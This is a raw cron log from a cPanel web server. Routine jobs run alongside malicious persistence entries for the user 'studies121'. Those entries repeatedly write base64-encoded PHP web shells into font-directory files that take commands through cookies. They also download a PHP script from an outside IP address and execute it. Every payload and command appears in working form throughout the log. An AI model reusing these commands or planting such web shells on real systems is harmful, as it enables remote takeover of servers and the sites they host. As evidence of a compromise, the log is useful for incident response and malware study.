Sep 21 03:51:02 ip-184-168-122-23 CROND[26189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:51:02 ip-184-168-122-23 CROND[26191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:52:01 ip-184-168-122-23 CROND[26295]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:52:01 ip-184-168-122-23 CROND[26297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:52:01 ip-184-168-122-23 CROND[26298]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:52:01 ip-184-168-122-23 CROND[26299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:52:01 ip-184-168-122-23 CROND[26300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:53:01 ip-184-168-122-23 CROND[26401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:53:01 ip-184-168-122-23 CROND[26402]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:53:01 ip-184-168-122-23 CROND[26405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:53:01 ip-184-168-122-23 CROND[26403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:54:01 ip-184-168-122-23 CROND[26513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:54:01 ip-184-168-122-23 CROND[26515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:54:01 ip-184-168-122-23 CROND[26516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:54:01 ip-184-168-122-23 CROND[26517]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:54:01 ip-184-168-122-23 CROND[26518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:55:01 ip-184-168-122-23 CROND[26619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:55:01 ip-184-168-122-23 CROND[26621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:55:01 ip-184-168-122-23 CROND[26623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:55:01 ip-184-168-122-23 CROND[26624]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 03:55:01 ip-184-168-122-23 CROND[26625]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 03:55:01 ip-184-168-122-23 CROND[26632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:56:01 ip-184-168-122-23 CROND[26817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:56:01 ip-184-168-122-23 CROND[26819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:56:01 ip-184-168-122-23 CROND[26820]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:56:01 ip-184-168-122-23 CROND[26821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:56:02 ip-184-168-122-23 CROND[26822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:57:01 ip-184-168-122-23 CROND[26970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:57:01 ip-184-168-122-23 CROND[26971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:57:01 ip-184-168-122-23 CROND[26974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:57:01 ip-184-168-122-23 CROND[26973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:58:01 ip-184-168-122-23 CROND[27102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:58:01 ip-184-168-122-23 CROND[27103]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:58:01 ip-184-168-122-23 CROND[27106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:58:01 ip-184-168-122-23 CROND[27107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:58:01 ip-184-168-122-23 CROND[27108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:59:01 ip-184-168-122-23 CROND[27230]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:59:01 ip-184-168-122-23 CROND[27232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:59:01 ip-184-168-122-23 CROND[27234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:59:01 ip-184-168-122-23 CROND[27233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:00:01 ip-184-168-122-23 CROND[27367]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 04:00:01 ip-184-168-122-23 CROND[27369]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:00:01 ip-184-168-122-23 CROND[27370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:00:01 ip-184-168-122-23 CROND[27372]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 21 04:00:01 ip-184-168-122-23 CROND[27373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:00:01 ip-184-168-122-23 CROND[27375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:00:01 ip-184-168-122-23 CROND[27374]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 04:00:01 ip-184-168-122-23 CROND[27371]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 04:00:01 ip-184-168-122-23 CROND[27377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:01:01 ip-184-168-122-23 CROND[27520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:01:01 ip-184-168-122-23 CROND[27521]: (root) CMD (run-parts /etc/cron.hourly)
Sep 21 04:01:01 ip-184-168-122-23 CROND[27525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:01:01 ip-184-168-122-23 CROND[27526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:01:01 ip-184-168-122-23 CROND[27524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:01:01 ip-184-168-122-23 CROND[27522]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[27521]: starting 0anacron
Sep 21 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[27541]: finished 0anacron
Sep 21 04:02:01 ip-184-168-122-23 CROND[27665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 04:02:01 ip-184-168-122-23 CROND[27667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 04:02:01 ip-184-168-122-23 CROND[27668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:02:01 ip-184-168-122-23 CROND[27669]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 04:02:01 ip-184-168-122-23 CROND[27666]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:03:01 ip-184-168-122-23 CROND[27775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 04:03:01 ip-184-168-122-23 CROND[27777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 04:03:01 ip-184-168-122-23 CROND[27776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
